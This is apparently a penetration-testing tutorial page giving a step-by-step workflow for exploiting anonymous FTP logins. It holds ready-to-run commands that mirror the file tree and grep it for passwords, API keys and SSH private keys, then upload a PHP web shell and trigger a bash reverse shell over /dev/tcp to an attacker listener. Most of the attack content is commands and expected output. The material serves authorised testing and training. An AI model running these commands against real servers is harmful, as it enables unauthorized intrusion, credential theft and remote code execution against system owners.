Skip to content
HackIndex logo

HackIndex

FTP Anonymous Login Exploitation

3 min read Mar 16, 2026

Anonymous FTP access confirmed by FTP Anonymous Access Check gives unauthenticated read or write access to the FTP file tree. The impact depends on what is stored there and whether writable paths overlap with a web server root.

Connect Anonymously

┌──(kali㉿kali)-[~]
└─$ ftp $TARGET_IP $PORT

Username: anonymous Password: any string or blank

┌──(kali㉿kali)-[~]
└─$ curl -s --user anonymous:anonymous ftp://$TARGET_IP:$PORT/

Download All Files Recursively

Use wget to mirror the entire FTP root in one command:

┌──(kali㉿kali)-[~]
└─$ wget -r --no-passive ftp://anonymous:anonymous@$TARGET_IP:$PORT/

-r enables recursive download. --no-passive forces active mode, which works better on some targets. The downloaded content lands in a directory named after the target IP.

With curl for a single file:

┌──(kali㉿kali)-[~]
└─$ curl -s --user anonymous:anonymous ftp://$TARGET_IP:$PORT/path/to/file.txt -o file.txt

What to Look For in Downloaded Files

After pulling everything down, search for credential material:

┌──(kali㉿kali)-[~]
└─$ grep -r -i 'password\|passwd\|secret\|api_key\|token\|connectionstring' ./ 2>/dev/null
┌──(kali㉿kali)-[~]
└─$ find . -name "*.conf" -o -name "*.config" -o -name "*.ini" -o -name "*.env" -o -name "*.xml" 2>/dev/null
┌──(kali㉿kali)-[~]
└─$ find . -name "id_rsa" -o -name "*.pem" -o -name "*.key" 2>/dev/null

Configuration files, credential files, SSH private keys, and database connection strings in the FTP root are all immediately useful for lateral movement or privilege escalation.

Upload a File

If write access is confirmed:

┌──(kali㉿kali)-[~]
└─$ curl -s --user anonymous:anonymous -T /tmp/payload.txt ftp://$TARGET_IP:$PORT/uploads/payload.txt
put /tmp/payload.txt

Web Shell Upload via Anonymous FTP

If the writable directory is also served by a web server, upload a PHP web shell and trigger it over HTTP:

┌──(kali㉿kali)-[~]
└─$ echo '<?php system($_GET["cmd"]); ?>' > /tmp/shell.php
┌──(kali㉿kali)-[~]
└─$ curl -s --user anonymous:anonymous -T /tmp/shell.php ftp://$TARGET_IP:$PORT/uploads/shell.php

Confirm the shell is accessible:

┌──(kali㉿kali)-[~]
└─$ curl -s "http://$TARGET_IP/uploads/shell.php?cmd=id"

Expected output: uid=33(www-data) gid=33(www-data)

If execution is confirmed, upgrade to a reverse shell. Start your listener:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT

Trigger the reverse shell:

┌──(kali㉿kali)-[~]
└─$ curl -s "http://$TARGET_IP/uploads/shell.php" --get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"

The full web shell upload workflow is covered in FTP Web Shell Upload.

Using lftp for Faster Transfers

lftp handles anonymous FTP and supports mirror operations more reliably than wget on some targets:

┌──(kali㉿kali)-[~]
└─$ lftp -u anonymous, ftp://$TARGET_IP:$PORT

Inside lftp:

ftp > mirror --continue --parallel=5 / /tmp/ftp_loot/

This downloads the entire FTP tree to /tmp/ftp_loot/ using five parallel connections.

References